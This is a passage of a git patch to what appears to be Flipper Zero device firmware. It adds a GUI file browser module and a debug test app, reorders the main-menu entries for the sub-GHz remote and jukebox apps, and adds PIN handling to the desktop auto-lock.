.../MainMenu/UniversalRemote_14/frame_2.png | Bin 0 -> 165 bytes .../MainMenu/UniversalRemote_14/frame_3.png | Bin 0 -> 171 bytes .../MainMenu/UniversalRemote_14/frame_4.png | Bin 0 -> 168 bytes .../MainMenu/UniversalRemote_14/frame_5.png | Bin 0 -> 169 bytes .../MainMenu/UniversalRemote_14/frame_6.png | Bin 0 -> 165 bytes .../MainMenu/UniversalRemote_14/frame_7.png | Bin 0 -> 166 bytes lib/digital_signal/digital_signal.c | 173 ++++++ lib/digital_signal/digital_signal.h | 28 + lib/lib.mk | 5 + 62 files changed, 1721 insertions(+), 107 deletions(-) create mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c create mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c create mode 100644 applications/gui/modules/file_browser.c create mode 100644 applications/gui/modules/file_browser.h create mode 100644 applications/gui/modules/file_browser_worker.c create mode 100644 applications/gui/modules/file_browser_worker.h create mode 100644 assets/icons/Archive/back_10px.png create mode 100644 assets/icons/Archive/loading_10px.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_01_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_07_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_12_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_14_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_15_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_16_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_17_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_22_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_28_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_rate create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_1.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_2.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_3.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_4.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_5.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_6.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_7.png create mode 100644 lib/digital_signal/digital_signal.c create mode 100644 lib/digital_signal/digital_signal.h diff --git a/applications/applications.c b/applications/applications.c index a4e81a88d..4e3b8087a 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -47,6 +47,7 @@ extern int32_t vibro_test_app(void* p); extern int32_t bt_hid_app(void* p); extern int32_t battery_test_app(void* p); extern int32_t text_box_test_app(void* p); +extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); @@ -230,6 +231,22 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_UNIVERSALRF + {.app = universal_rf_remote_app, + .name = "Universal SubGHz", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, + .flags = FlipperApplicationFlagDefault}, +#endif + +#ifdef APP_JUKEBOX + {.app = jukebox_app, + .name = "Jukebox", + .stack_size = 2048, + .icon = &A_TouchTunes_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", @@ -358,14 +375,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { }, #endif -#ifdef APP_JUKEBOX - {.app = jukebox_app, - .name = "Jukebox", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_MUSIC_PLAYER {.app = music_player_app, .name = "Music Player", @@ -394,14 +403,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, #endif -#ifdef APP_UNIVERSALRF - {.app = universal_rf_remote_app, - .name = "Universal SubGHz", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - {.app = wav_player_app, .name = "Wav Player", .stack_size = 4096, @@ -530,6 +531,14 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_FILE_BROWSER_TEST + {.app = file_browser_app, + .name = "File Browser test", + .stack_size = 2048, + .icon = &A_BadUsb_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_BATTERY_TEST {.app = battery_test_app, .name = "Battery Test", diff --git a/applications/applications.mk b/applications/applications.mk index 1e5a22cbb..95f060df6 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -70,6 +70,7 @@ APP_USB_MOUSE = 1 APP_BAD_USB = 1 APP_U2F = 1 APP_UART_ECHO = 1 +APP_FILE_BROWSER_TEST = 1 endif @@ -228,6 +229,11 @@ CFLAGS += -DAPP_KEYPAD_TEST SRV_GUI = 1 endif +APP_FILE_BROWSER_TEST ?= 0 +ifeq ($(APP_FILE_BROWSER_TEST), 1) +CFLAGS += -DAPP_FILE_BROWSER_TEST +SRV_GUI = 1 +endif APP_ACCESSOR ?= 0 ifeq ($(APP_ACCESSOR), 1) diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c new file mode 100644 index 000000000..a408f5cde --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -0,0 +1,99 @@ +#include "assets_icons.h" +#include "file_browser_app_i.h" +#include "gui/modules/file_browser.h" +#include "m-string.h" +#include +#include +#include +#include + +static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool file_browser_app_back_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void file_browser_app_tick_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +FileBrowserApp* file_browser_app_alloc(char* arg) { + UNUSED(arg); + FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); + + app->gui = furi_record_open("gui"); + app->dialogs = furi_record_open("dialogs"); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + + app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); + + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, file_browser_app_tick_event_callback, 500); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, file_browser_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, file_browser_app_back_event_callback); + + app->widget = widget_alloc(); + + string_init(app->file_path); + app->file_browser = file_browser_alloc(&(app->file_path)); + file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); + + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); + + return app; +} + +void file_browser_app_free(FileBrowserApp* app) { + furi_assert(app); + + // Views + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); + widget_free(app->widget); + file_browser_free(app->file_browser); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + // Close records + furi_record_close("gui"); + furi_record_close("notification"); + furi_record_close("dialogs"); + + string_clear(app->file_path); + + free(app); +} + +int32_t file_browser_app(void* p) { + FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); + + view_dispatcher_run(file_browser_app->view_dispatcher); + + file_browser_app_free(file_browser_app); + return 0; +} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h new file mode 100644 index 000000000..6e8412c9b --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app_i.h @@ -0,0 +1,32 @@ +#pragma once + +#include "scenes/file_browser_scene.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct FileBrowserApp FileBrowserApp; + +struct FileBrowserApp { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + DialogsApp* dialogs; + Widget* widget; + FileBrowser* file_browser; + + string_t file_path; +}; + +typedef enum { + FileBrowserAppViewStart, + FileBrowserAppViewBrowser, + FileBrowserAppViewResult, +} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c new file mode 100644 index 000000000..72a6e84d7 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c @@ -0,0 +1,30 @@ +#include "file_browser_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const file_browser_scene_on_enter_handlers[])(void*) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const file_browser_scene_on_exit_handlers[])(void* context) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers file_browser_scene_handlers = { + .on_enter_handlers = file_browser_scene_on_enter_handlers, + .on_event_handlers = file_browser_scene_on_event_handlers, + .on_exit_handlers = file_browser_scene_on_exit_handlers, + .scene_num = FileBrowserSceneNum, +}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h new file mode 100644 index 000000000..d690fca9f --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, +typedef enum { +#include "file_browser_scene_config.h" + FileBrowserSceneNum, +} FileBrowserScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers file_browser_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "file_browser_scene_config.h" +#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c new file mode 100644 index 000000000..9c570cec0 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -0,0 +1,45 @@ +#include "../file_browser_app_i.h" +#include "furi/check.h" +#include "furi/log.h" +#include "furi_hal.h" +#include "m-string.h" + +#define DEFAULT_PATH "/" +#define EXTENSION "*" + +bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +static void file_browser_callback(void* context, bool state) { + FileBrowserApp* app = context; + furi_assert(app); + view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); + + UNUSED(state); +} + +void file_browser_scene_browser_on_enter(void* context) { + FileBrowserApp* app = context; + + file_browser_set_callback(app->file_browser, file_browser_callback, app); + + file_browser_start(app->file_browser, app->file_path); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); +} + +void file_browser_scene_browser_on_exit(void* context) { + FileBrowserApp* app = context; + + file_browser_stop(app->file_browser); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h new file mode 100644 index 000000000..6597df3aa --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(file_browser, start, Start) +ADD_SCENE(file_browser, browser, Browser) +ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c new file mode 100644 index 000000000..53576cef4 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c @@ -0,0 +1,36 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "m-string.h" + +void file_browser_scene_result_ok_callback(InputType type, void* context) { + furi_assert(context); + FileBrowserApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, type); +} + +bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + //FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_result_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); +} + +void file_browser_scene_result_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c new file mode 100644 index 000000000..bb71e83df --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c @@ -0,0 +1,44 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "gui/modules/widget_elements/widget_element_i.h" + +static void + file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { + UNUSED(result); + furi_assert(context); + FileBrowserApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, type); + } +} + +bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); + scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_start_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); + + widget_add_button_element( + app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); +} + +void file_browser_scene_start_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 34c169e07..514166375 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,7 +56,12 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - desktop_lock(desktop); + if(desktop->settings.pin_code.length > 0) { + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); + } else { + desktop_lock(desktop); + } } return true; } diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c new file mode 100644 index 000000000..919750962 --- /dev/null +++ b/applications/gui/modules/file_browser.c @@ -0,0 +1,532 @@ +#include "file_browser.h" +#include "assets_icons.h" +#include "cmsis_os2.h" +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "furi/log.h" +#include "furi_hal_resources.h" +#include "m-string.h" +#include +#include +#include + +#define LIST_ITEMS 5u +#define MAX_LEN_PX 110 +#define FRAME_HEIGHT 12 +#define Y_OFFSET 3 + +#define ITEM_LIST_LEN_MAX 100 + +typedef enum { + BrowserItemTypeLoading, + BrowserItemTypeBack, + BrowserItemTypeFolder, + BrowserItemTypeFile, +} BrowserItemType; + +typedef struct { + string_t path; + BrowserItemType type; +} BrowserItem_t; + +static void BrowserItem_t_init(BrowserItem_t* obj) { + obj->type = BrowserItemTypeLoading; + string_init(obj->path); +} + +static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_init_set(obj->path, src->path); +} + +static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_set(obj->path, src->path); +} + +static void BrowserItem_t_clear(BrowserItem_t* obj) { + string_clear(obj->path); +} + +ARRAY_DEF( + items_array, + BrowserItem_t, + (INIT(API_2(BrowserItem_t_init)), + SET(API_6(BrowserItem_t_set)), + INIT_SET(API_6(BrowserItem_t_init_set)), + CLEAR(API_2(BrowserItem_t_clear)))) + +struct FileBrowser { + View* view; + BrowserWorker* worker; + char* ext_filter; + bool skip_assets; + + FileBrowserCallback callback; + void* context; + + string_t* result_path; +}; + +typedef struct { + items_array_t items; + + bool is_root; + bool folder_loading; + bool list_loading; + uint32_t item_cnt; + int32_t item_idx; + int32_t array_offset; + int32_t list_offset; + + const Icon* file_icon; + bool hide_ext; +} FileBrowserModel; + +static const Icon* BrowserItemIcons[] = { + [BrowserItemTypeLoading] = &I_loading_10px, + [BrowserItemTypeBack] = &I_back_10px, + [BrowserItemTypeFolder] = &I_dir_10px, + [BrowserItemTypeFile] = &I_unknown_10px, +}; + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model); +static bool file_browser_view_input_callback(InputEvent* event, void* context); + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); +static void browser_list_load_cb(void* context, uint32_t list_load_offset); +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); +static void browser_long_load_cb(void* context); + +FileBrowser* file_browser_alloc(string_t* result_path) { + furi_assert(result_path); + FileBrowser* browser = malloc(sizeof(FileBrowser)); + browser->view = view_alloc(); + view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); + view_set_context(browser->view, browser); + view_set_draw_callback(browser->view, file_browser_view_draw_callback); + view_set_input_callback(browser->view, file_browser_view_input_callback); + + browser->result_path = result_path; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_init(model->items); + return false; + }); + + return browser; +} + +void file_browser_free(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_clear(model->items); + return false; + }); + + view_free(browser->view); + free(browser); +} + +View* file_browser_get_view(FileBrowser* browser) { + furi_assert(browser); + return browser->view; +} + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext) { + furi_assert(browser); + + browser->ext_filter = extension; + browser->skip_assets = skip_assets; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->file_icon = file_icon; + model->hide_ext = hide_ext; + return false; + }); +} + +void file_browser_start(FileBrowser* browser, string_t path) { + furi_assert(browser); + browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); + file_browser_worker_set_callback_context(browser->worker, browser); + file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); + file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); + file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); + file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); +} + +void file_browser_stop(FileBrowser* browser) { + furi_assert(browser); + file_browser_worker_free(browser->worker); + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->item_cnt = 0; + model->item_idx = 0; + model->array_offset = 0; + model->list_offset = 0; + return false; + }); +} + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { + browser->context = context; + browser->callback = callback; +} + +static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { + size_t array_size = items_array_size(model->items); + + if((idx >= (uint32_t)model->array_offset + array_size) || + (idx < (uint32_t)model->array_offset)) { + return false; + } + return true; +} + +static bool browser_is_list_load_required(FileBrowserModel* model) { + size_t array_size = items_array_size(model->items); + uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; + + if((model->list_loading) || (array_size >= item_cnt)) { + return false; + } + + if((model->array_offset > 0) && + (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + if(((model->array_offset + array_size) < item_cnt) && + (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + return false; +} + +static void browser_update_offset(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; + + if((model->item_cnt > (LIST_ITEMS - 1)) && + (model->item_idx >= ((int32_t)model->item_cnt - 1))) { + model->list_offset = model->item_idx - (LIST_ITEMS - 1); + } else if(model->list_offset < model->item_idx - bounds) { + model->list_offset = CLAMP( + model->item_idx - (int32_t)(LIST_ITEMS - 2), + (int32_t)model->item_cnt - bounds, + 0); + } else if(model->list_offset > model->item_idx - bounds) { + model->list_offset = + CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); + } + + return false; + }); +} + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + int32_t load_offset = 0; + + with_view_model( + browser->view, (FileBrowserModel * model) { + if(is_root) { + model->item_cnt = item_cnt; + model->item_idx = (file_idx > 0) ? file_idx : 0; + load_offset = + CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); + } else { + model->item_cnt = item_cnt + 1; + model->item_idx = file_idx + 1; + load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); + } + model->array_offset = 0; + model->list_offset = 0; + model->is_root = is_root; + model->list_loading = true; + model->folder_loading = false; + return true; + }); + browser_update_offset(browser); + + file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); +} + +static void browser_list_load_cb(void* context, uint32_t list_load_offset) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t back_item; + BrowserItem_t_init(&back_item); + back_item.type = BrowserItemTypeBack; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->array_offset = list_load_offset; + if(!model->is_root) { + if(list_load_offset == 0) { + items_array_push_back(model->items, back_item); + } else { + model->array_offset += 1; + } + } + return false; + }); + + BrowserItem_t_clear(&back_item); +} + +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t item; + + if(!is_last) { + BrowserItem_t_init(&item); + string_set(item.path, item_path); + item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_push_back(model->items, item); + return false; + }); + BrowserItem_t_clear(&item); + } else { + with_view_model( + browser->view, (FileBrowserModel * model) { + model->list_loading = false; + return true; + }); + } +} + +static void browser_long_load_cb(void* context) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->folder_loading = true; + return true; + }); +} + +static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box( + canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); + + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); + canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot( + canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); +} + +static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { + uint8_t width = 49; + uint8_t height = 47; + uint8_t x = 128 / 2 - width / 2; + uint8_t y = 64 / 2 - height / 2; + + UNUSED(model); + + elements_bold_rounded_frame(canvas, x, y, width, height); + + canvas_set_font(canvas, FontSecondary); + elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); + + canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); +} + +static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { + uint32_t array_size = items_array_size(model->items); + bool show_scrollbar = model->item_cnt > LIST_ITEMS; + + string_t filename; + string_init(filename); + + for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { + int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); + + BrowserItemType item_type = BrowserItemTypeLoading; + + if(browser_is_item_in_array(model, idx)) { + BrowserItem_t* item = items_array_get( + model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); + item_type = item->type; + file_browser_worker_get_filename( + item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); + } else { + string_set_str(filename, "---"); + } + + if(item_type == BrowserItemTypeBack) { + string_set_str(filename, ". ."); + } + + elements_string_fit_width( + canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); + + if(model->item_idx == idx) { + browser_draw_frame(canvas, i, show_scrollbar); + } else { + canvas_set_color(canvas, ColorBlack); + } + + if((item_type == BrowserItemTypeFile) && (model->file_icon)) { + canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); + } else if(BrowserItemIcons[item_type] != NULL) { + canvas_draw_icon( + canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); + } + canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); + } + + if(show_scrollbar) { + elements_scrollbar_pos( + canvas, + 126, + Y_OFFSET, + canvas_height(canvas) - Y_OFFSET, + model->item_idx, + model->item_cnt); + } + + string_clear(filename); +} + +static void 